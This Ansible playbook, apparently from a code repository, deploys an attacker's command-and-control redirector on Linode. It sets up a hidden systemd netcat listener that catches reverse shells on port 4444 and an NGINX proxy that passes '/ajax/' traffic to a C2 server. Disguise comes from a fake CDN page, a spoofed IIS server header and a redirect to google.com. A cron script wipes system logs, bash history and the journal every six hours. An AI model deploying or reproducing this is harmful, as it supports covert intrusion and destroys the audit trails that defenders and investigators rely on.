436 lines
14 KiB
YAML
436 lines
14 KiB
YAML
---
|
|
- name: Deploy Linode redirector server
|
|
hosts: localhost
|
|
gather_facts: false
|
|
connection: local
|
|
vars:
|
|
region: "{{ linode_region | default('us-east') }}"
|
|
instance_type: "{{ size | default('g6-standard-1') }}"
|
|
instance_name: "{{ redirector_name | default('redirector') }}"
|
|
domain: "{{ domain | default('example.com') }}"
|
|
redirector_subdomain: "cdn"
|
|
linode_image: "linode/debian11"
|
|
|
|
tasks:
|
|
- name: Create Linode redirector instance
|
|
community.general.linode_v4:
|
|
label: "{{ instance_name }}"
|
|
type: "{{ plan }}"
|
|
region: "{{ region }}"
|
|
image: "{{ linode_image }}"
|
|
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
|
authorized_keys:
|
|
- "{{ ssh_key_content }}"
|
|
state: present
|
|
register: redirector_instance
|
|
|
|
- name: Save redirector IP
|
|
set_fact:
|
|
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
|
|
|
- name: Wait for SSH to become available
|
|
wait_for:
|
|
host: "{{ redirector_ip }}"
|
|
port: 22
|
|
delay: 10
|
|
timeout: 300
|
|
state: started
|
|
|
|
- name: Add redirector to inventory
|
|
add_host:
|
|
name: redirector
|
|
ansible_host: "{{ redirector_ip }}"
|
|
ansible_user: "{{ ssh_user | default('root') }}"
|
|
ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}"
|
|
groups: redirectors
|
|
|
|
- name: Configure redirector
|
|
hosts: redirectors
|
|
become: true
|
|
vars:
|
|
domain: "{{ domain | default('example.com') }}"
|
|
redirector_subdomain: "cdn"
|
|
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
|
zero_logs: "{{ zero_logs | default(true) }}"
|
|
shell_handler_port: 4444
|
|
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
|
|
|
|
tasks:
|
|
- name: Update apt cache
|
|
apt:
|
|
update_cache: yes
|
|
|
|
- name: Install required packages
|
|
apt:
|
|
name:
|
|
- nginx
|
|
- certbot
|
|
- python3-certbot-nginx
|
|
- socat
|
|
- netcat-openbsd
|
|
- cryptsetup
|
|
- secure-delete
|
|
state: present
|
|
|
|
- name: Create directories for OPSEC scripts
|
|
file:
|
|
path: "{{ item }}"
|
|
state: directory
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
with_items:
|
|
- /opt/c2
|
|
- /opt/shell-handler
|
|
|
|
- name: Create clean-logs.sh script
|
|
copy:
|
|
content: |
|
|
#!/bin/bash
|
|
# Zero-logs maintenance script
|
|
umask 077
|
|
|
|
# Disable syslog temporarily
|
|
systemctl stop rsyslog 2>/dev/null
|
|
systemctl stop systemd-journald 2>/dev/null
|
|
|
|
# Clear system logs
|
|
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
|
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
|
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
|
journalctl --vacuum-time=1s 2>/dev/null
|
|
|
|
# Clear bash history
|
|
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
done
|
|
history -c
|
|
|
|
# Clear NGINX logs
|
|
for nginx_log in /var/log/nginx/*; do
|
|
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
|
done
|
|
|
|
# Clear temporary directories
|
|
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
|
|
# Restart logging services
|
|
systemctl start systemd-journald 2>/dev/null
|
|
systemctl start rsyslog 2>/dev/null
|
|
|
|
echo "[+] Log cleaning complete"
|
|
exit 0
|
|
dest: /opt/c2/clean-logs.sh
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create shell handler script
|
|
copy:
|
|
content: |
|
|
#!/bin/bash
|
|
# Automated shell handler for catching and upgrading reverse shells
|
|
|
|
# Configuration
|
|
LISTEN_PORT={{ shell_handler_port }}
|
|
C2_HOST="{{ c2_ip }}"
|
|
|
|
# Set secure permissions
|
|
umask 077
|
|
|
|
# Logging function
|
|
log() {
|
|
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
|
local message="$1"
|
|
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
|
}
|
|
|
|
# Detect OS function
|
|
detect_os() {
|
|
local connection=$1
|
|
|
|
# Send commands to determine OS
|
|
echo "echo \$OSTYPE" > $connection
|
|
sleep 1
|
|
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
|
|
|
if [[ $ostype == *"win"* ]]; then
|
|
echo "windows"
|
|
elif [[ $ostype == *"darwin"* ]]; then
|
|
echo "macos"
|
|
elif [[ $ostype == *"linux"* ]]; then
|
|
echo "linux"
|
|
else
|
|
# Try Windows-specific command
|
|
echo "ver" > $connection
|
|
sleep 1
|
|
winver=$(cat $connection | grep -i "microsoft windows")
|
|
|
|
if [[ -n "$winver" ]]; then
|
|
echo "windows"
|
|
else
|
|
# Default to Linux if we can't determine
|
|
echo "linux"
|
|
fi
|
|
fi
|
|
}
|
|
|
|
# Main shell handler loop
|
|
handle_connections() {
|
|
log "Shell handler started on port $LISTEN_PORT"
|
|
|
|
# Use mkfifo for bidirectional communication
|
|
PIPE_PATH="/tmp/shell_handler_pipe"
|
|
trap 'rm -f $PIPE_PATH' EXIT
|
|
|
|
while true; do
|
|
# Clean up existing pipe
|
|
rm -f $PIPE_PATH
|
|
mkfifo $PIPE_PATH
|
|
|
|
log "Waiting for incoming connection..."
|
|
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
|
NC_PID=$!
|
|
|
|
# Wait for connection
|
|
wait $NC_PID
|
|
log "Connection closed, restarting listener..."
|
|
rm -f $PIPE_PATH.output
|
|
done
|
|
}
|
|
|
|
# Start the shell handler
|
|
handle_connections
|
|
dest: /opt/shell-handler/persistent-listener.sh
|
|
mode: '0700'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create shell handler service
|
|
copy:
|
|
content: |
|
|
[Unit]
|
|
Description=Reverse Shell Handler Service
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
User=root
|
|
Group=root
|
|
ExecStart=/opt/shell-handler/persistent-listener.sh
|
|
Restart=always
|
|
RestartSec=10
|
|
|
|
# Hide process information
|
|
PrivateTmp=true
|
|
ProtectSystem=full
|
|
NoNewPrivileges=true
|
|
|
|
# Make shell handler hard to find
|
|
StandardOutput=null
|
|
StandardError=null
|
|
|
|
# Environment variables
|
|
Environment="C2_HOST={{ c2_ip }}"
|
|
Environment="LISTEN_PORT={{ shell_handler_port }}"
|
|
|
|
[Install]
|
|
WantedBy=multi-user.target
|
|
dest: /etc/systemd/system/shell-handler.service
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Configure NGINX for zero-logging
|
|
copy:
|
|
content: |
|
|
user www-data;
|
|
worker_processes auto;
|
|
pid /run/nginx.pid;
|
|
include /etc/nginx/modules-enabled/*.conf;
|
|
|
|
events {
|
|
worker_connections 1024;
|
|
multi_accept on;
|
|
}
|
|
|
|
http {
|
|
# Basic Settings
|
|
sendfile on;
|
|
tcp_nopush on;
|
|
tcp_nodelay on;
|
|
keepalive_timeout 65;
|
|
types_hash_max_size 2048;
|
|
server_tokens off;
|
|
|
|
# MIME
|
|
include /etc/nginx/mime.types;
|
|
default_type application/octet-stream;
|
|
|
|
# Zero-logs configuration
|
|
access_log off;
|
|
error_log /dev/null crit;
|
|
|
|
# SSL Settings
|
|
ssl_protocols TLSv1.2 TLSv1.3;
|
|
ssl_prefer_server_ciphers on;
|
|
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
|
|
|
# Headers to confuse fingerprinting
|
|
more_set_headers 'Server: Microsoft-IIS/8.5';
|
|
|
|
# Virtual Host Configs
|
|
include /etc/nginx/conf.d/*.conf;
|
|
include /etc/nginx/sites-enabled/*;
|
|
}
|
|
dest: /etc/nginx/nginx.conf
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
when: zero_logs|bool
|
|
|
|
- name: Configure NGINX default site for C2 redirection
|
|
copy:
|
|
content: |
|
|
server {
|
|
listen 80;
|
|
listen [::]:80;
|
|
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
|
|
# Redirect to HTTPS
|
|
return 301 https://$host$request_uri;
|
|
}
|
|
|
|
server {
|
|
listen 443 ssl;
|
|
listen [::]:443 ssl;
|
|
server_name {{ redirector_subdomain }}.{{ domain }};
|
|
|
|
# SSL Configuration (self-signed until Let's Encrypt is set up)
|
|
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
|
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
|
|
|
# Root directory
|
|
root /var/www/html;
|
|
index index.html;
|
|
|
|
# Special URI patterns for C2 traffic
|
|
location /ajax/ {
|
|
proxy_pass http://{{ c2_ip }}:8888;
|
|
proxy_http_version 1.1;
|
|
proxy_set_header Host $host;
|
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
|
proxy_set_header X-Real-IP $remote_addr;
|
|
proxy_set_header Upgrade $http_upgrade;
|
|
proxy_set_header Connection "upgrade";
|
|
}
|
|
|
|
# Default location
|
|
location / {
|
|
try_files $uri $uri/ =404;
|
|
}
|
|
|
|
# Disable logging for this server block
|
|
access_log off;
|
|
error_log /dev/null crit;
|
|
}
|
|
|
|
# Catch-all server block
|
|
server {
|
|
listen 80 default_server;
|
|
listen [::]:80 default_server;
|
|
|
|
# Redirect all unknown traffic to a legitimate-looking site
|
|
return 301 https://www.google.com;
|
|
|
|
# Disable logs
|
|
access_log off;
|
|
error_log /dev/null crit;
|
|
}
|
|
dest: /etc/nginx/sites-available/default
|
|
mode: '0644'
|
|
owner: root
|
|
group: root
|
|
|
|
- name: Create legitimate-looking index.html
|
|
copy:
|
|
content: |
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
|
<style>
|
|
body {
|
|
font-family: Arial, sans-serif;
|
|
margin: 0;
|
|
padding: 0;
|
|
background-color: #f4f4f4;
|
|
}
|
|
header {
|
|
background-color: #2c3e50;
|
|
color: white;
|
|
padding: 1em;
|
|
text-align: center;
|
|
}
|
|
.container {
|
|
width: 80%;
|
|
margin: 0 auto;
|
|
padding: 2em;
|
|
}
|
|
.card {
|
|
background-color: white;
|
|
border-radius: 5px;
|
|
padding: 1.5em;
|
|
margin-bottom: 1.5em;
|
|
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<header>
|
|
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
|
<p>Enterprise Content Delivery Network</p>
|
|
</header>
|
|
|
|
<div class="container">
|
|
<div class="card">
|
|
<h2>Welcome to Our CDN</h2>
|
|
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
|
|
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
|
</div>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
dest: /var/www/html/index.html
|
|
mode: '0644'
|
|
owner: www-data
|
|
group: www-data
|
|
|
|
- name: Start and enable shell handler service
|
|
systemd:
|
|
name: shell-handler
|
|
state: started
|
|
enabled: yes
|
|
daemon_reload: yes
|
|
|
|
- name: Set up cron job for log cleaning
|
|
cron:
|
|
name: "Clean logs"
|
|
minute: "0"
|
|
hour: "*/6"
|
|
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
|
when: zero_logs|bool
|
|
|
|
- name: Install Let's Encrypt certificate if domain specified
|
|
shell: |
|
|
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
|
args:
|
|
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
|
when: domain != "example.com"
|
|
|
|
- name: Restart NGINX
|
|
systemd:
|
|
name: nginx
|
|
state: restarted |